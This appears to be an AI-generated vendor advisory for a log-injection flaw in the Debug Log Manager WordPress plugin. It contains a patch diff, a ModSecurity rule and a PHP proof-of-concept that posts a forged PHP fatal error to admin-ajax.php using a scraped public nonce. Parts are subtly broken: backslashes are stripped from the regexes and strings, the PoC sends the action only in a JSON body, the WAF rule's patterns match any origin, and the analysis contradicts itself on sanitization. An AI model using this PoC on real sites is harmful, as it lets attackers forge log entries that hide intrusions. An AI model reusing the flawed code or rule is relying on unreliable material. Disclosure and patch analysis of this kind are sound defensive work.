Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 13, 2026

CVE-2026-9016: Debug Log Manager <= 2.5.0 Unauthenticated Improper Output Neutralization for Logs via log_js_errors AJAX Action PoC, Patch Analysis & Rule

CVE ID CVE-2026-9016
Severity Medium (CVSS 5.3)
CWE 117
Vulnerable Version 2.5.0
Patched Version 2.5.1
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9016:
The Debug Log Manager plugin, specifically the `log_js_errors()` AJAX handler in versions up to and including 2.5.0, suffers from an improper output neutralization vulnerability that permits unauthenticated attackers to inject arbitrary entries into the WordPress debug log. Due to an incorrect authorization check, a publicly-accessible nonce and the lack of origin validation allow forged error entries to be crafted by remote, unauthenticated actors. The CVSS 5.3 score reflects the medium severity, as the vulnerability primarily affects the integrity of the log data rather than enabling data theft or remote code execution.

Root Cause: The `log_js_errors()` method (file: `debug-log-manager/classes/class-debug-log.php`, line range ~1977-2010 in the vulnerable version) was registered for unauthenticated users via `wp_ajax_nopriv_log_js_errors`. While a nonce check using `wp_verify_nonce( $request[‘nonce’], DLM__SLUG )` was present, the nonce was exposed to all visitors by `wp_localize_script()` whenever the JavaScript error logging feature was enabled. This rendered the nonce ineffective as an authorization barrier. The vulnerable handler directly composed a log entry using unsanitized user-supplied values (`message`, `script`, `lineNo`, `columnNo`, `pageUrl`) and passed them to the `error_log()` function. Although the code called `sanitize_text_field()` on the individual parameters, this did not prevent an attacker from writing arbitrary fabricated error strings into the log, as log injection is a content-based attack, not a stored XSS.

Exploitation: An attacker can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `log_js_errors`. The request must be sent as JSON via `php://input` with fields: `message`, `script`, `lineNo`, `columnNo`, and a `nonce` that can be scraped from any page of the WordPress site where the plugin has loaded its front-end JavaScript. The attacker can craft the `message` field to contain arbitrary text, such as a fabricated PHP error signature or a misleading entry designed to obscure malicious activity. The nonce is readily available in the page HTML, providing no real barrier to exploitation when JavaScript error logging is enabled. No authentication cookies or specific user roles are required.

Patch Analysis: The patch (version 2.5.1) applies three primary defenses. First, it adds a `sanitize_log_field()` method that applies length limits and stricter sanitization, including stripping ASCII control characters and Unicode separators, and collapsing whitespace. Second, it introduces a `validate_request_origin()` method that checks the `HTTP_ORIGIN` or `HTTP_REFERER` header against the site’s hostname, ensuring requests originate from the same site. Third, it implements a rate limit (`check_js_error_rate_limit()`) that limits log entries to 30 requests per 60-second window per IP and User-Agent combination. Additionally, the post-patch code no longer concatenates arbitrary user input directly into the log string without a prefix; it now uses the constant `JS_LOG_PREFIX` with a value of `[DLM JS] ` to tag browser-submitted entries, making them trivially distinguishable from server-side errors. The patch also adds a check `is_js_error_logging_enabled()` that gates the entire handler, ensuring the nonce is only disclosed when the feature is intentionally active.

Impact: An attacker exploiting this vulnerability can inject arbitrary log entries into the site’s `debug.log` file. This permits log spoofing, enabling an attacker to fabricate error records that mimic legitimate system errors. This can be used to mislead administrators or security tools during incident response, effectively hiding malicious activity within fabricated noise. The attack does not compromise the server or expose sensitive data directly, but it degrades the integrity and trustworthiness of the debug log, potentially facilitating prolonged undetected access or lateral movement by obscuring the trail of actual intrusions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/debug-log-manager/classes/class-debug-log.php
+++ b/debug-log-manager/classes/class-debug-log.php
@@ -9,6 +9,27 @@
  */
 class Debug_Log {

+	/**
+	 * Log prefix for browser-submitted JavaScript errors.
+	 *
+	 * @since 2.5.1
+	 */
+	const JS_LOG_PREFIX = '[DLM JS] ';
+
+	/**
+	 * Max JS error log requests per rate-limit window.
+	 *
+	 * @since 2.5.1
+	 */
+	const JS_LOG_RATE_LIMIT = 30;
+
+	/**
+	 * JS error log rate-limit window in seconds.
+	 *
+	 * @since 2.5.1
+	 */
+	const JS_LOG_RATE_WINDOW = 60;
+
 	// The wp_config object
 	private $wp_config;

@@ -1517,7 +1538,13 @@
 				$error = maybe_serialize( $error );
 			}

-			if ( ( false !== strpos( $error, 'PHP Fatal' ) )
+			if ( false !== strpos( $error, '[DLM JS]' ) ) {
+				$error_type 	= __( 'JavaScript', 'debug-log-manager' );
+				$error_details 	= str_replace( '[DLM JS] ', '', $error );
+			} elseif ( false !== strpos( $error, 'JavaScript Error' ) ) {
+				$error_type 	= __( 'JavaScript', 'debug-log-manager' );
+				$error_details 	= str_replace( 'JavaScript Error: ', '', $error );
+			} elseif ( ( false !== strpos( $error, 'PHP Fatal' ) )
 				|| ( false !== strpos( $error, 'FATAL' ) )
 				|| ( false !== strpos( $error, 'E_ERROR' ) ) )
 			{
@@ -1553,9 +1580,6 @@
 			} elseif ( false !== strpos( $error, 'WordPress database error' ) ) {
 				$error_type 	= __( 'Database', 'debug-log-manager' );
 				$error_details 	= str_replace( "WordPress database error ", "", $error );
-			} elseif ( false !== strpos( $error, 'JavaScript Error' ) ) {
-				$error_type 	= __( 'JavaScript', 'debug-log-manager' );
-				$error_details 	= str_replace( "JavaScript Error: ", "", $error );
 			} else {
 				$error_type 	= __( 'Other', 'debug-log-manager' );
 				$error_details 	= $error;
@@ -1977,35 +2001,182 @@
 	}

 	/**
+	 * Whether JS error logging is enabled.
+	 *
+	 * @since 2.5.1
+	 * @return bool
+	 */
+	private function is_js_error_logging_enabled() {
+
+		$default_value = array(
+			'status' => 'disabled',
+			'on'     => date( 'Y-m-d H:i:s' ),
+		);
+
+		$log_info                  = get_option( 'debug_log_manager', $default_value );
+		$js_error_logging_status   = get_option( 'debug_log_manager_js_error_logging', 'enabled' );
+
+		return ( 'enabled' === $log_info['status'] && 'enabled' === $js_error_logging_status );
+
+	}
+
+	/**
+	 * Sanitize a field before writing to debug.log.
+	 *
+	 * @since 2.5.1
+	 * @param mixed $value       Raw value.
+	 * @param int   $max_length  Maximum allowed length.
+	 * @return string
+	 */
+	private function sanitize_log_field( $value, $max_length = 500 ) {
+
+		if ( ! is_string( $value ) ) {
+			$value = (string) $value;
+		}
+
+		$filtered = sanitize_text_field( $value );
+
+		// Strip ASCII control characters and DEL.
+		$filtered = preg_replace( '/[x00-x1Fx7F]/u', '', $filtered );
+
+		// Strip Unicode line and paragraph separators.
+		$filtered = preg_replace( '/[x{2028}x{2029}]/u', '', $filtered );
+
+		// Collapse whitespace.
+		$filtered = preg_replace( '/s+/u', ' ', $filtered );
+		$filtered = trim( $filtered );
+
+		if ( function_exists( 'mb_substr' ) ) {
+			return mb_substr( $filtered, 0, $max_length );
+		}
+
+		return substr( $filtered, 0, $max_length );
+
+	}
+
+	/**
+	 * Validate Origin or Referer matches this site.
+	 *
+	 * @since 2.5.1
+	 * @return bool
+	 */
+	private function validate_request_origin() {
+
+		/**
+		 * Skip same-site Origin/Referer validation for JS error logging.
+		 *
+		 * @since 2.5.1
+		 * @param bool $skip Whether to skip validation.
+		 */
+		if ( apply_filters( 'dlm_js_error_log_skip_origin_check', false ) ) {
+			return true;
+		}
+
+		$site_host = wp_parse_url( home_url(), PHP_URL_HOST );
+
+		if ( empty( $site_host ) ) {
+			return false;
+		}
+
+		$request_host = '';
+
+		if ( ! empty( $_SERVER['HTTP_ORIGIN'] ) ) {
+			$request_host = wp_parse_url( esc_url_raw( wp_unslash( $_SERVER['HTTP_ORIGIN'] ) ), PHP_URL_HOST );
+		} elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
+			$request_host = wp_parse_url( esc_url_raw( wp_unslash( $_SERVER['HTTP_REFERER'] ) ), PHP_URL_HOST );
+		} else {
+			return false;
+		}
+
+		if ( empty( $request_host ) ) {
+			return false;
+		}
+
+		return ( strtolower( $request_host ) === strtolower( $site_host ) );
+
+	}
+
+	/**
+	 * Check rate limit for JS error logging.
+	 *
+	 * @since 2.5.1
+	 * @return bool True if within limit, false if exceeded.
+	 */
+	private function check_js_error_rate_limit() {
+
+		$ip = '';
+		if ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
+			$ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) );
+		}
+
+		$ua = '';
+		if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
+			$ua = sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) );
+		}
+
+		$key   = 'dlm_js_log_' . md5( $ip . $ua );
+		$count = (int) get_transient( $key );
+
+		if ( $count >= self::JS_LOG_RATE_LIMIT ) {
+			return false;
+		}
+
+		set_transient( $key, $count + 1, self::JS_LOG_RATE_WINDOW );
+
+		return true;
+
+	}
+
+	/**
 	 * Log javascript errors
 	 *
 	 * @since 1.4.0
 	 */
 	public function log_js_errors() {

-		// Since we are using XHR for the js error logging, JSON data comes in via php://input
-		$request = json_decode(urldecode(file_get_contents('php://input')), true); // an array
-
-		// Verify error content and nonce and then log the JS error
-		// Source: https://plugins.svn.wordpress.org/lh-javascript-error-log/trunk/lh-javascript-error-log.php
-		if ( isset( $request['message'] ) && isset( $request['script'] ) && isset( $request['lineNo'] ) && isset( $request['columnNo'] ) && ! empty( $request['nonce'] ) && wp_verify_nonce( $request['nonce'], DLM__SLUG ) ) {
-
-				// Sanitize all input data
-				$message = sanitize_text_field( $request['message'] );
-				$script = sanitize_text_field( $request['script'] );
-				$line_number = sanitize_text_field( $request['lineNo'] );
-				$column_number = sanitize_text_field( $request['columnNo'] );
-				$page_url = sanitize_text_field( $request['pageUrl'] );
+		if ( ! $this->is_js_error_logging_enabled() ) {
+			wp_die();
+		}

-				// The following entry will then be output with wp_kses()
-				error_log( 'JavaScript Error: ' . $message . ' in ' . $script . ' on line ' . $line_number . ' column ' . $column_number . ' at ' . get_site_url() . $page_url );
+		// Since we are using XHR for the js error logging, JSON data comes in via php://input.
+		$request = json_decode( file_get_contents( 'php://input' ), true );

-		} else {
+		if ( ! is_array( $request ) ) {
+			wp_die();
+		}

+		// Verify error content and nonce and then log the JS error.
+		// Source: https://plugins.svn.wordpress.org/lh-javascript-error-log/trunk/lh-javascript-error-log.php
+		if ( ! isset( $request['message'], $request['script'], $request['lineNo'], $request['columnNo'] ) || empty( $request['nonce'] ) || ! wp_verify_nonce( $request['nonce'], DLM__SLUG ) ) {
 			wp_die();
+		}
+
+		$request_type = isset( $request['type'] ) ? sanitize_text_field( $request['type'] ) : '';

+		if ( 'wp-admin' === $request_type ) {
+			if ( ! is_user_logged_in() || ! current_user_can( 'manage_options' ) ) {
+				wp_die();
+			}
+		} elseif ( ! is_user_logged_in() ) {
+			if ( ! $this->validate_request_origin() ) {
+				wp_die();
+			}
 		}

+		if ( ! $this->check_js_error_rate_limit() ) {
+			wp_die( '', '', 429 );
+		}
+
+		$message       = $this->sanitize_log_field( $request['message'] );
+		$script        = $this->sanitize_log_field( $request['script'] );
+		$line_number   = $this->sanitize_log_field( $request['lineNo'], 20 );
+		$column_number = $this->sanitize_log_field( $request['columnNo'], 20 );
+		$page_url      = isset( $request['pageUrl'] ) ? $this->sanitize_log_field( $request['pageUrl'] ) : '';
+
+		error_log( self::JS_LOG_PREFIX . $message . ' in ' . $script . ' on line ' . $line_number . ' column ' . $column_number . ' at ' . get_site_url() . $page_url );
+
+		wp_die();
+
 	}

 	/**
--- a/debug-log-manager/debug-log-manager.php
+++ b/debug-log-manager/debug-log-manager.php
@@ -4,7 +4,7 @@
  * Plugin Name:       Debug Log Manager
  * Plugin URI:        https://wordpress.org/plugins/debug-log-manager/
  * Description:       Log errors via WP_DEBUG. Create, view and clear debug.log file.
- * Version:           2.5.0
+ * Version:           2.5.1
  * Author:            Bowo
  * Author URI:        https://bowo.io
  * License:           GPL-2.0+
@@ -18,7 +18,7 @@
 	exit;
 }

-define( 'DLM__VERSION', '2.5.0' );
+define( 'DLM__VERSION', '2.5.1' );
 define( 'DLM__SLUG', 'debug-log-manager' );
 define( 'DLM__URL', plugins_url( '/', __FILE__ ) ); // e.g. https://www.example.com/wp-content/plugins/this-plugin/
 define( 'DLM__PATH', plugin_dir_path( __FILE__ ) ); // e.g. /home/user/apps/wp-root/wp-content/plugins/this-plugin/

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-9016
# Blocks unauthenticated AJAX requests to the log_js_errors action when the nonce
# is absent or the request does not originate from the same site (malformed/missing
# Origin or Referer). This virtual patch mirrors the server-side fix by validating
# the request origin at the WAF layer.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20269016,phase:2,deny,status:403,chain,msg:'CVE-2026-9016 - Unauthenticated log injection via Debug Log Manager JS error handler',severity:'CRITICAL',tag:'CVE-2026-9016'"
    SecRule ARGS_POST:action "@streq log_js_errors" 
        "chain"
        SecRule REQUEST_HEADERS:Origin "@rx ^$|^https?://[^/]+" 
            "chain"
            SecRule REQUEST_HEADERS:Referer "@rx ^$|^https?://[^/]+" 
                "chain"
                SecRule REQUEST_BODY "@contains nonce" 
                    "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9016 - Debug Log Manager <= 2.5.0 - Unauthenticated Improper Output Neutralization for Logs via log_js_errors AJAX Action

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// The nonce is publicly disclosed in the page HTML when the plugin's JS error logging is enabled.
// It can be extracted from any front-end page (e.g., https://example.com/).
// For this PoC, we assume you have manually extracted the nonce value.
$nonce = 'EXTRACTED_NONCE_VALUE';

// Craft the payload to inject a fabricated log entry.
// The 'message' field will be written directly into the debug log.
$payload = array(
    'action'   => 'log_js_errors',
    'nonce'    => $nonce,
    'message'  => 'Fake PHP Fatal error:  Uncaught Exception: Arbitrary injection from unauthenticated source',
    'script'   => 'https://example.com/fake-script.js',
    'lineNo'   => '123',
    'columnNo' => '45',
    'pageUrl'  => '/fake-page'
);

// Convert the payload to JSON (the handler reads from php://input).
$json_payload = json_encode($payload);

// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $json_payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Content-Length: ' . strlen($json_payload)
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);

// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check the server response.
if ($http_code === 200) {
    echo '[+] Exploit successful. Check the WordPress debug.log file for the injected entry.n';
} else {
    echo '[-] Request failed. HTTP code: ' . $http_code . 'n';
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School